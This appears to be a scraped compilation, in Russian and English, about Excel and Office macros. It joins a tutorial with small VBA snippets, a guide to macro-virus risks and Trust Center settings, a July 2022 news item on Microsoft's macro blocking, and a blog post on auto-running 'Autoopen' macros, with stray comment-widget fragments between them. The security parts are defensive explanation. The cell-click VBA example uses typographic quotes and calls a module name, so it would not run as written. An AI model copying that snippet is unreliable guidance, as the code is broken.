Все созданные в Excel макросы пишутся автоматически, без участия человека. Программа самостоятельно составляет программный код, который можно открыть из таблицы вызовом при помощи меню.
Для этого нужно последовательно выполнить команды:
• развернуть вкладку «Вид»;
• открыть «Макросы»;
• выбрать имя необходимого макроса;
• вызывать окно с его кодом при помощи кнопки «Изменить».
В новом диалоговом окне можно провести редактирование и изменение макроса. Вы увидите там код, который программа записала автоматически, и сможете добавить вручную любое действие. После сохранения информации при импорте новых данных макрос будет работать иначе.
Как начать работу макроса по клику на ячейку
Допустим, вы хотите, чтобы при выделении ячейки А1 запускалась работа макроса. Чтобы выбранная в Excel ячейка макрос запускала, необходимо в первый модуль добавить программный код:
Private Sub Worksheet_SelectionChange(ByVal Target As Range)
If Target.Address = «$A$1» Then: Call module1
End Sub
Лучше всего поможет изучить вам макросы в Excel самоучитель. Там есть не один подобный пример, и для тех, кто только знакомится со всеми возможностями таблицы, это лучший способ научиться полностью задействовать ее функционал.
Где можно научиться работать с макросами
Есть несколько способов научиться созданию более сложных макросов. Они должны отличаться логикой и четко настроенной последовательностью действий. Создаются такие макросы только путем написания кода VBA вручную. Для создания сложных макросов вам потребуется затратить некоторое время на изучения тонкостей языка программирования Visual Basik.
Сейчас для изучения всех возможностей Excel создано немало специальных курсов, которые идут по несколько недель, но вам потребуется для их посещения выезжать в учебный центр или присутствовать на вебинарах (что не всегда удобно из-за разницы во времени). Но более действенный и простой способ научиться создавать макросы в Excel – самоучитель с примерами. Вы можете заниматься по нему в любое удобное для вас время, а пошаговые учебники помогут разрабатывать разные варианты: от самых простых кодов до наиболее сложных. Microsoft Excel — это универсальный табличный редактор, при помощи которого можно решить множество сложных задач.
Примеры
Существуют коды, которые позволяют добиться автоматизации различных задач. Итак, в качестве примера рассмотрим макрос вставки строки. Выглядит он следующим образом:
Sub Макрос1()
Rows(2).EntireRow.Insert
End Sub
Опасность Макросов |
||||||||
Ответить |
||||||||
Ответить |
||||||||
Ответить |
||||||||
Ответить |
||||||||
Ответить |
The macros that you create in Excel would be written in the programming language VBA (Visual Basic for Applications). You will learn about the Excel macro code in later chapters. As you are aware, when there is an executable code, there is a threat of viruses. Macros are also susceptible to viruses.
What are Macro Viruses?
Excel VBA in which the Macros are written has access to most Windows system calls and executes automatically when workbooks are opened. Hence, there is a potential threat of the existence of a virus written as a macro and is hidden within Excel that are executed on opening a workbook. Therefore, Excel macros can be very dangerous to your computer in many ways. However, Microsoft has taken appropriate measures to shield the workbooks from macro viruses.
Microsoft has introduced macro security so that you can identify which macros you can trust and which you cannot.
Macro Enabled Excel Workbooks
The most important Excel macro security feature is — file extensions.
Excel workbooks will be saved with .xlsx file extension by default. You can always trust workbooks with .xlsx file extension, as they are incapable of storing a macro and will not carry any threat.
Excel workbooks with macros are saved with .xlsm file extension. They are termed as Macro Enabled Excel Workbooks. Before you open such workbooks, you should make sure that the macros they contain are not malicious. For this, you must ensure that you can trust the origin of this type of workbooks.
Ways of Trusting Macro Enabled Workbook
Excel provides three ways to trust a macro enabled workbook.
-
Placing the macro enabled workbooks in a trusted folder
-
Checking if a macro is digitally signed
-
Enabling security alert messages before opening macro enabled workbooks
Placing the macro enabled workbooks in a trusted folder
This is the easiest and best way to manage macro security. Excel allows you to designate a folder as a trusted location. Place all your macro-enabled workbooks in that trusted folder. You can open macro-enabled workbooks that are saved to this location without warnings or restrictions.
Checking if a macro is digitally signed
Digital signatures confirm the identity of the author. You can configure Excel to run digitally signed macros from trusted persons without warnings or restrictions. Excel will also warn the recipient if it has been changed since the author signed it.
Enabling security alert messages before opening macro enabled workbooks
When you open a workbook, Excel warns you that the workbook contains macros and asks whether you wish to enable them. You can click the Enable Content button if the source of the workbook is reliable.
You can set any of these three options in the Trust Center in the Excel Options.
If you work in an organization, the system administrator might have changed the default settings to prevent anyone from changing the settings. Microsoft advises that you do not change security settings in the Trust Center as the consequences can be loss of data, data theft or security compromises on your computer or network.
However, you can learn the macro security settings in the following sections and check if they are to be changed. You have to use your own instinct to decide on any of these options based on the context and your knowledge of the file origin.
Macro Security Settings in Trust Center
The macro settings are located in the Trust Center in the Excel Options. To access the Trust Center, do the following −
-
Click the FILE tab on the Ribbon.
-
Click Options. The Excel Options dialog box appears.
-
Click Trust Center in the left pane.
-
Click the Trust Center Settings button under Microsoft Excel Trust Center.
The Trust Center dialog box appears.
You will see various options available in the Excel Trust Center in the left pane. You will learn about the options related to Excel macros in the following sections.
Macro Settings
Macro settings are located in the Trust Center.
Under Macro Settings, four options are available.
-
Disable all macros without notification − If this option is chosen, Macros and security alerts about macros are disabled.
-
Disable all macros with notification − Macros are disabled, but security alerts appear if there are macros present. You can enable macros on a case-by-case basis.
-
Disable all macros except digitally signed macros − Macros are disabled but security alerts appear if there are macros present. However, if the macro is digitally signed by a trusted publisher, the macro runs if you trust the publisher. If you have do not trust the publisher, you will be notified to enable the signed macro and trust the publisher.
-
Enable all macros (not recommended, susceptible to macro viruses) − If this option is chosen, all macros run. This setting makes your computer vulnerable to potentially malicious code.
You have an additional security option under Developer Macro Settings with a Check box.
-
Trust access to the VBA project object model.
-
This option allows programmatic access to the Visual Basic for Applications (VBA) object model from an automation client.
-
This security option is for code written to automate an Office program and manipulate the VBA environment and object model.
-
It is a per-user and per-application setting, and denies access by default, hindering unauthorized programs from building harmful self-replicating code.
-
For automation clients to access the VBA object model, the user running the code must grant access. To turn on access, select the check box.
-
Defining a Trusted Location
If you think that a macro-enabled workbook is from a reliable source, it is better to move the file to the trusted location identified by Excel, instead of changing the default Trust Center settings to a less-safe macro security setting.
You can find the trusted folder settings in the Trust Center.
Click the Trusted Locations in the Trust Center dialog box. The Trusted Locations set by Microsoft Office appear on the right side.
You can add new locations, remove the existing locations and modify the existing locations. The identified trusted locations will be treated by Microsoft office as reliable for opening files. However, if you add or modify a location, ensure that the location is secure.
You can also find the options that office does not recommend, such as locations on internet.
Digitally Signed Macros from Reliable Sources
Microsoft provides an option to accommodate digitally signed macros. However, even if a macro is digitally signed, you need to ensure that it is from a trusted publisher.
You will find the trusted publishers in in the Trust Center.
-
Click Trusted Publishers in the Trust Center dialog box. A list of certificates appear on the right side with the details – Issued To, Issued By and Expiration Date.
-
Select a certificate and click View.
The certificate information is displayed.
As you have learnt earlier in this chapter, you can set an option to run a macro that is digitally signed only if you trust the publisher. If you do not trust the publisher, you will be notified to enable the signed macro and trust the publisher.
Using Warning Messages
The Message Bar displays security alert when there are macros in the file that you are opening. The yellow Message Bar with a shield icon alerts you that the macros are disabled.
If you know that the macro or macros are from a reliable source, you can click n the Enable Content button on the Message Bar, to enable the macros.
You can disable the Message Bar option if you do not want security alerts. On the other hand, you can enable the Message Bar option to increase security.
Enabling / Disabling Security Alerts on the Message Bar
You can enable / disable security alerts with Message Bars as follows −
- Click the FILE tab on the Ribbon.
- Click Options. The Excel Options dialog box appears.
- Click Trust Center.
- Click the Trust Center Settings button.
- Click Message Bar.
The Message Bar Settings for all Office Applications appear.
There are two options under — Showing the Message Bar.
Option 1 − Show the Message Bar in all applications when active content such as macros is blocked.
-
This is the default option. The Message Bar appears when potentially unsafe content has been disabled.
-
If you had selected — Disable all macros without notification in the Macro Settings of the Trust Center, this option is not selected and the Message Bar does not appear.
Option 2 − Never show information about blocked content.
If this option if selected, it disables the Message Bar and no alerts appear about security issues, regardless of any security settings in the Trust Center.
21 Июля 2022 16:46
21 Июл 2022 16:46
|
Microsoft вернет в программы Office автоматическую блокировку макросов, которую она отключила, послушавшись неопытных пользователей. Макросы – излюбленный инструмент хакеров по доставке малварей на ПК своих жертв. Не все разобрались, как отключать блокировку, и завалили Microsoft жалобами. Специально для таких пользователей Microsoft сделала инструкцию. Автоматическая блокировка вернется с выходом апдейта 2206 в конце июля 2022 г.
Microsoft вспомнила о безопасности
Корпорация Microsoft вернет в программы пакета Office автоматическую блокировку макросов, которую она отключила в начале июля 2022 г., пишет портал Neowin. Данная блокировка нужна, чтобы защитить пользователей от хакеров, обожающих встраивать в документы Office опасные скрипты для незаметного скачивания вредоносного ПО. В первую очередь это касается приложений Word, Excel и PowerPoint, так как именно эти программы чаще всего используются для редактирования документов, электронных таблиц и презентаций в масштабах всего мира.
Внедрение автоматической блокировки макросов Microsoft начала в апреле 2022 г., но столкнулась с лавиной жалоб пользователей с околонулевым уровнем пользования ПК и прикладным ПО. Они банально не могли понять, как можно отключить автоматическую блокировку. В результате корпорация приняла решение об откате изменений, тем самым повысив опасность столкнуться со взломом для всех пользователей своего офисного ПО.
Что изменилось
Чем именно руководствовалась Microsoft, отключая автоматическую блокировку макросов в Office вместо того, чтобы сделать инструкцию, понятную даже начинающим пользователям, к моменту выхода материала оставалось загадкой. Но в итоге компания все же создала мануал, а также придумала, как сделать так, чтобы пользователи нашли его без особого труда.
Работать с документами Office на всякий случай лучше при включенном антивирусе
Для Office совсем скоро выйдет обновление, благодаря которому при открытии документа со встроенными макросами на экран будет выводиться предупреждение о сработавшем механизме блокировки. В сообщении пользователи увидят кнопку «Подробнее» (Learn More), клик по которой перенесет их на веб-страницу поддержки Microsoft.
Открывшаяся в браузере статья расскажет о том, какие риски таят в себе макросы, и, главное, подробно и в картинках объяснит пользователю, как отключить их автоматическую блокировку, в том числе и для одного или нескольких конкретных файлов.
Когда ждать
Распространение первого обновления с автоматической блокировкой макросов, имеющее индекс 2203, стартовало в середине весны 2022 г. Microsoft предупредила пользователей о грядущих изменениях заранее, в первых числах февраля 2022 г. Что помешало им заранее подготовиться к ним и выяснить, как отключить новую функцию, неизвестно.
В начале июля 2022 г. Microsoft отменила столь полезное нововведение. Ей потребовалось две недели, чтобы составить инструкцию по работе с макросами.
Новый апдейт, возвращающий автоматическую блокировку этих потенциально опасных скриптов, выйдет 27 июля 2022 г. и получит номер 2206. Также функция войдет в состав и следующих апдейтов. Обновление затронет приложения Access (редактор баз данных), Excel (электронные таблицы), PowerPoint (презентации), Visio (построение блок-схем) и Word (текстовый редактор).
Чем так опасны макросы
Макросы как инструмент очень полезны, так как с их помощью можно значительно упростить и даже полностью автоматизировать рутинные ежедневные операции с документами Microsoft Office, в особенности с электронными таблицами. По сути, это скрипты, написанные при помощи упрощенной версии языка программирования Visual Basic под названием Visual Basic for Application (VBA).
Назван самый надежный способ организации IaaS
Маркет
Киберпреступники научились использовать макросы в своих целях. Они встраивают в обычные с виду офисные документы скрипты, инициирующие, к примеру, скачивание и запуск на компьютере жертвы вируса, трояна или червя. В современных реалиях это и вовсе может быть программа-шифровальщик.
Документы «с сюрпризом» мошенники чаще всего распространяют по электронной почте, прибегая к методам социальной инженерии, чтобы заставить пользователей открыть их. Доставка малварей на компьютеры пользователей при помощи макросов настолько популярна среди хакеров, что они используют этот метод на протяжении даже не лет – десятилетий. Это, к слову, также говорит о высокой степени эффективности данного способа.
- Platform V – облачная платформа от СберТеха для цифровой трансформации и импортозамещения
О вреде макросов
Работая с офисными приложениями мы научились использовать макросы, чтобы расширять их функциональные возможности. В данном видеоуроке мы расскажем вам, какую потенциальную угрозу могут нести макросы, попавшие на наш компьютер с чужими документами, для наших собственных файлов Excel или Word.
Если вы скачиваете из интернета незнакомый doc или xls-файл — ваш компьютер может оказаться под угрозой. Нежелательный макрос может выполняться уже при открытии такого документа, абсолютно без вашего ведома. Такой макрос может иметь доступ к тексту вашего документа, другим файлам на жестком диске, реестру операционной системы и т.п. Поэтому, следует соблюдать правило: если дальнейшая работа с офисными приложениями не предполагает программирования, обязательно установите высокий уровень безопасности от макросов.
Итак, мы с вами привыкли запускать макросы одним из следующих способов:
— используя заранее определенную комбинацию клавиш на клавиатуре;
— запуск макроса вручную в окне модуля редактора Visual Basic;
— с помощью кнопки на рабочем листе или панели инструментов.
Однако, не следует забывать, что используемый нами для написания макросов язык программирования Visual Basic for Application — это объектно-ориентированный язык. Это означает, что все что мы видим перед собой на экране, работая с документом — это объекты. Окно Excel, рабочая книга, рабочий лист, ячейка и так далее, нас окружает огромное разнообразие объектов. Каждый объект живет своей собственной жизнью, с каждым из объектов могут случаться различные события, а объекты, в свою очередь, могут реагировать на эти события! Например, с объектом «ячейка» может случиться событие «Клик левой кнопкой мыши», или «Двойной клик левой кнопкой мыши». Объект «ячейка», в свою очередь, уже «знает», как себя вести при наступлении этих событий. Так, если был «Клик», объект «ячейка» становится выделенным. Если же был «Двойной клик», то объект «ячейка» входит в режим редактирования данных.
Так какое же отношение может к этому иметь запуск пользовательских макросов? Самое прямое! Программист самостоятельно имеет возможность определять, как будут реагировать объекты на те или иные события в процессе их жизнедеятельности. Другими словами, вы пишете макрос, вручную, или в режиме автоматической записи, а потом можете назначить его конкретному событию какого-либо объекта. Будьте уверены — макрос выполнится строго при наступлении этого события в жизни объекта.
В этом кроются и потенциальные преимущества макросов, но также и угрозы. Так, если вы записываете макрос, работая в редакторе Word, даете ему имя «Autoopen«, то такой макрос будет выполняться автоматически при открытии текстового документа.
Казалось бы, что же здесь плохого, если при открытии вашего текстового документа, такой макрос каждый раз будет выполнять какие-то полезные для вас действия? Но не все так просто. Макрос можно сохранить не только в тексте самого документа, но и в файле шаблона Normal.dot, на основании которого создаются и работают все документы, с которыми вы работаете на компьютере. Другими словами, теперь ваш макрос «Autoopen» будет запускаться всегда при открытии вообще любого текстового документа! И выполнять с ним, без вашего ведома, какие-то действия. Это не есть хорошо с точки зрения безопасности информации и эту возможную угрозу всегда следует иметь ввиду.
О том, что может получиться в противном случае, вам расскажет наш видеоурок.
Популярные сообщения из этого блога
Куда пропал редактор формул Microsoft Equation?
Работая в Microsoft Word , мне часто приходится набирать формулы. На протяжении многих лет, для этих целей я использовал встроенный в Word редактор формул Microsoft Equation . И даже, когда Microsoft добавил в свой Office новый инструмент » Формулы «, я все равно, по привычке, продолжал использовать Microsoft Equation . Для работы я использую два разных ноутбука с абсолютно одинаковым софтом. Microsoft Office 2010 у меня устанавливался на обоих компьютерах с одного дистрибутива. Каково же было мое удивление, когда однажды, открыв созданный ранее документ Word на втором ноутбуке, я не смог войти в режим редактирования формулы! То есть, документ открылся без проблем и все набранные ранее формулы отобразились корректно. Но когда мне понадобилось одну из них отредактировать, то оказалось, что Word этого сделать не может по причине отсутствия Microsoft Equation .
Что делать, если копируемый из Интернета текст не выравнивается по ширине
Каждый когда-либо сталкивался с ситуацией, когда скопированный из Интернета и вставленный в Word текст не удается выровнять по ширине: по левому краю выравнивает, по правому — тоже, а вот по ширине — ни в какую. Еще хуже обстоят дела, если вы захотите увеличить размер шрифта: выравнивание текста окончательно откажется работать. Разбираемся в причинах и ищем способ, как это исправить.
Как отсортировать сотрудников по дням рождения в Excel
Актуальная задача для любого коллектива — не пропустить день рождения каждого сотрудника. Стандартная сортировка списка сотрудников в Excel по дате их рождения не решает поставленной задачи, поскольку такая сортировка выстраивает их в хронологическом порядке, с учетом не только дня и месяца, но и года рождения. В результате такой сортировки мы будем видеть, кто из сотрудников старше или моложе. А вот, чтобы сказать, у кого скоро будет день рождения — для этого придется вручную просматривать от начала до конца весь список, что неудобно.